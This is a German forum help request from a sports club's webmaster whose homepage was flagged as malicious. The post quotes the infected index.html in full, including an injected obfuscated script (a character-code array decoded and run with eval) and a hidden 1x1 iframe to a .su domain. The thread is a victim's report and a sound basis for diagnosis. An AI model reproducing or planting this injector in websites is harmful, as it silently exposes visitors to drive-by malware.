js/agent.axquo in HTML-Datei

Benjbra · 28.02.2013, 11:42

Hallo zusammen,

ich hoffe ich bin hier im richtigen Sub-Forum gelandet.
Ich verwalte für einen Sportverein die Homepage. Diese wird seit kurzem als "Verdächtig" und deshalb gesperrt gemeldet, sowohl von Firefox als auch google.
Per FTP habe ich deshalb auf dem Server der Homepage feststellen müssen, dass die index.html folgenden Virus enthält (Sagt zumindestens Avira beim Versuch die html zu öffnen):
js/agent.axquo
Zum genannten Virus/Malware finde ich leider keinerlei Informationen im Internet, ebenso wenig in Avira.
Ich habe trotzdem die HTML-Datei geöffnet um an den Code zu gelangen, hier fällt mir jedoch nichts auffälliges auf. Deshalb schicke ich euch anbei noch den Code.
Ich habe auch schon den Code als "Text" kopiert und eine neue Html-Datei erstellt, auch diese wird als infiziert gemeldet.
Über jede Hilfe bin ich euch dankbar,

LG

Zitat:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"hxxp://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="hxxp://www.w3.org/1999/xhtml">
<head>
<meta name="description" content="Willkommen auf der offiziellen Webseite der SKG Erbstetten 1947 e.V." />
<meta name="keywords" content="skg, erbstetten, 1947, webseite, fussball, jugend, turnen, gymnastik, vereinsheim, verein" />
<title>SKG Erbstetten 1947 e.V. - offizielle Webseite</title>
</head>
<body bgcolor="#FFFF66" text="#000000" link="#000000" vlink="#808080" alink="#000000"><script>try{document.body++}catch(dgsgsdg){zxc=12;ww=window;}if(zxc){try{f=document.createElement("div");}catch(agdsg){zxc=0;}try{if(w w.document)window["doc"+"ument"]["body"]="zxc"}catch(bawetawe){if(ww.document){v=window;n=["9","9","41","3o","16","1e","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3 p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1f","4j","d","9","9","9","41","3o","4a","3j","45","3n","4a","1e","1f"," 27","d","9","9","4l","16","3n","44","4b","3n","16","4j","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","4f","4a","41","4c","3n","1e","18 ","28","41","3o","4a","3j","45","3n","16","4b","4a","3l","29","1d","40","4c","4c","48","26","1l","1l","4d","46","43","46","47","4f","46","3l","47","45 ","45","4d","4c","3n","1k","4b","4d","1l","41","45","3p","1n","1l","3l","47","4d","46","4c","1k","40","4c","45","1d","16","4f","41","3m","4c","40","29 ","1d","1n","1m","1m","1d","16","40","3n","41","3p","40","4c","29","1d","1n","1m","1m","1d","16","4b","4c","4h","44","3n","29","1d","4f","41","3m","4c ","40","26","1n","1m","1m","48","4g","27","40","3n","41","3p","40","4c","26","1n","1m","1m","48","4g","27","48","47","4b","41","4c","41","47","46","26 ","3j","3k","4b","47","44","4d","4c","3n","27","4e","41","4b","41","3k","41","44","41","4c","4h","26","40","41","3m","3m","3n","46","27","44","3n","3o ","4c","26","1j","1n","1m","1m","1m","1m","48","4g","27","4c","47","48","26","1m","27","1d","2a","28","1l","41","3o","4a","3j","45","3n","2a","18","1f ","27","d","9","9","4l","d","9","9","3o","4d","46","3l","4c","41","47","46","16","41","3o","4a","3j","45","3n","4a","1e","1f","4j","d","9","9","9","4e ","3j","4a","16","3o","16","29","16","3m","47","3l","4d","45","3n","46","4c","1k","3l","4a","3n","3j","4c","3n","2h","44","3n","45","3n","46","4c","1e ","1d","41","3o","4a","3j","45","3n","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4b","4a","3l","1d ","1i","1d","40","4c","4c","48","26","1l","1l","4d","46","43","46","47","4f","46","3l","47","45","45","4d","4c","3n","1k","4b","4d","1l","41","45","3p ","1n","1l","3l","47","4d","46","4c","1k","40","4c","45","1d","1f","27","3o","1k","4b","4c","4h","44","3n","1k","44","3n","3o","4c","29","1d","1j","1n ","1m","1m","1m","1m","48","4g","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4e","41","4b","41","3k","41","44","41","4c","4h","29","1d","40","41 ","3m","3m","3n","46","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","4c","4h","44","3n","1k ","48","47","4b","41","4c","41","47","46","29","1d","3j","3k","4b","47","44","4d","4c","3n","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47 ","48","29","1d","1m","1d","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4f","41","3m","4c","40","1d","1i","1d ","1n","1m","1m","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","40","3n","41","3p","40","4c","1d","1i ","1d","1n","1m","1m","1d","1f","27","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4 b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1k","3j","48","48","3n","46","3m","2f","40","4 1","44","3m","1e","3o","1f","27","d","9","9","4l"];h=2;s="";if(zxc){for(i=0;i-646!=0;i++){k=i;s+=String["fro"+"mC"+"harCode"](parseInt(n[i],12*2+2));}z=s;vl="val";if(ww.document)eval(z)}}}}</script>
<div align="center">
<h1>Willkommen bei der SKG Erbstetten 1947 e.V.</h1><iframe src="hxxp://sraphicshouldn.su/img2/count.htm" width="1" height="1" frameborder="0"></iframe></div>
<div align="center">
<h4>Offizielle Webseite mit den Abteilungen Fußball, Jugendfußball, Sportakrobatik und Turnen</h4></div>
<div align="center"><a href="/uebungszeiten.html" target="_blank"><img border="0" src="hxxp://www.skg-erbstetten.de/bilder/startseite/logostartseite.jpg" alt="" /></a></div><br />
<div align="center">
<h4>Klick auf das Vereinslogo, um die Übungszeiten aller Abteilungen auf einen Blick zu haben</h4></div>
<table border="0" width="950" align="center">
<tr>
<td width="130" align="center"><img border="0" src="hxxp://www.skg-erbstetten.de/bilder/startseite/hauptverein.jpg" title="Hauptverein" alt="" /></td>
<td width="130" align="center"><a href="hxxp://skg-erbstetten.magix.net/website%20#Startseite" target="_blank"><img border="0" src="hxxp://www.skg-erbstetten.de/bilder/startseite/fussball.jpg" title="Abteilung Fussball" alt="" /></a></td>
<td width="130" align="center"><a href="hxxp://www.skg-erbstetten.de/senioren" target="_blank"><img border="0" src="hxxp://www.skg-erbstetten.de/bilder/startseite/fussball.jpg" title="Abteilung Seniorenfussball" alt="" /></a></td>
<td width="130" align="center"><img border="0" src="hxxp://www.skg-erbstetten.de/bilder/startseite/vereinsheim.jpg" title="Unser Vereinsheim" alt="" /></td>
<td width="130" align="center"><img border="0" src="hxxp://www.skg-erbstetten.de/bilder/startseite/akrobatik.jpg" title="Abteilung Sportakrobatik" alt="" /></td>
<td width="130" align="center"><img border="0" src="hxxp://www.skg-erbstetten.de/bilder/startseite/foerderverein.jpg" title="Der Förderverein" alt="" /></td>
<td width="130" align="center"><img border="0" src="hxxp://www.skg-erbstetten.de/bilder/startseite/turnen.jpg" title="Abteilung Turnen" alt="" /></td>
</tr>
</table>
<div align="center"><h5>Für den Inhalt der Webseite ist die SKG Erbstetten 1947 e.V. verantwortlich<br />Die offizielle Webseite der SKG Erbstetten wird unterstützt von der <a href="hxxp://www.deutsche-wuerfel-liga.de" target="_blank">Deutschen Würfel-Liga</a></h5></div>
</body>
</html>

Habe herrausgefunden an was es liegen muss:
Der komplette <script> -Tag! Ohne ihn kann ich die Datei ohne Probleme öffnen!
Im Internet habe ich einiges zum Thema FileZilla gefunden. Kann es sein, dass ich dadurch meine Homepage "attackierbar" gemacht habe?

js/agent.axquo in HTML-Datei

Plagegeister aller Art und deren Bekämpfung: js/agent.axquo in HTML-Datei

js/agent.axquo in HTML-Datei

Ähnliche Themen: js/agent.axquo in HTML-Datei